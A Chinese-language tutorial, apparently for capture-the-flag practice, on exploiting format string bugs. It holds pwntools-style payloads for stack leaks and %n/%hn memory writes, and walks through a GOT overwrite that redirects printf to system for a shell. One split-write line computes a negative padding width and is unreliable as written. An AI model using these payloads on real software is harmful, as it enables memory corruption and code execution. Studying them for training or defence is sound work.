一、漏洞原理
格式化字符串漏洞(Format String Vulnerability)是由于程序使用用户可控的输入作为格式化字符串参数(如 printf
、sprintf
等函数)时未正确过滤导致的漏洞。攻击者可通过构造特殊格式字符串实现以下操作:
-
内存泄露:读取栈或堆中的敏感数据(如密码、密钥)。
-
内存覆盖:向任意地址写入数据(如劫持控制流、覆盖函数指针)。
-
程序崩溃:通过非法内存访问导致拒绝服务(DoS)。
关键机制:
格式化函数(如
printf
)根据格式指示符(如%s
,%x
,%n
)从栈中按顺序读取参数。如果用户输入的格式字符串包含多余指示符,函数会从栈中读取非预期的数据。
%n
指示符可将已输出的字符数写入指定地址,实现内存写操作。
二、常见题型
-
信息泄露(Memory Leak)
目标:读取栈或堆中的敏感数据(如
flag
或libc
地址)。示例:
printf(user_input)
→ 用户输入%p%p%p...
泄露栈内容。 -
覆盖关键变量
目标:修改程序逻辑(如绕过身份验证)。
示例:通过
%n
覆盖全局变量is_admin
的值为1
。 -
控制流劫持
目标:覆盖返回地址或函数指针(如
GOT
表项)。示例:通过
%n
将exit()
的 GOT 表项覆盖为shellcode
地址。
三、Payload 构造步骤
1. 确定偏移量
目标:找到用户输入的格式字符串在栈中的起始位置。
方法:
输入
AAAA%p%p%p%p%p...
,观察输出中0x41414141
(AAAA
的十六进制)的位置。确定偏移量
k
(例如,第 7 个%p
输出0x41414141
→ 偏移量7
)。
2. 信息泄露
泄露栈数据:
payload = b"%7$p" # 读取栈中第7个参数的值
泄露任意地址数据:
payload = p32(target_addr) + b"%7$s" # 将目标地址放在第7个参数位置,用 %s 读取其内容
3. 内存覆盖(使用 %n
)
-
单次写入:
payload = p32(target_addr) + b"%100c%7$n" # 向 target_addr 写入 100 + 4(地址长度)= 104
-
分次写入(小端序):
# 写入 0x12345678 到 target_addr(分两次用 %hn) payload = p32(target_addr) + p32(target_addr+2) payload += b"%{}c%7$hn%{}c%8$hn".format(0x5678-8, 0x1234-0x5678)
四、关键技巧
-
对齐与填充:
使用
%c
或%<num>c
调整输出的字符数,控制%n
写入的值。示例:
%100c
输出 100 个字符。 -
短写入(
%hn
):使用
%hn
写入 2 字节,避免大数值的填充(如0xabcd
→ 每次写 2 字节)。 -
地址布局:
在 64 位系统中,地址可能包含 \x00
,需避免被截断(可借助栈上的残留地址)。
五、实例解析
漏洞代码
#include <stdio.h>
int main() {
char buffer[100];
scanf("%s", buffer);
printf(buffer); // 存在格式化字符串漏洞
return 0;
}
攻击步骤
-
泄露栈数据:
发现Input: AAAA%p.%p.%p.%p.%p.%p.%p Output: AAAA0xffffd000.0x64.0xf7e8a000.0x41414141...
0x41414141
在第 7 个参数位置 → 偏移量 7。 -
覆盖变量:
target_addr = 0x0804a024 # 假设是全局变量地址 payload = p32(target_addr) + b"%2048c%7$n" # 写入 2048 + 4 = 2052 (0x0804)
-
劫持 GOT 表:
泄露
printf
的 GOT 地址 → 计算system
地址。覆盖
printf
的 GOT 表项为system
地址,输入;/bin/sh
触发 shell。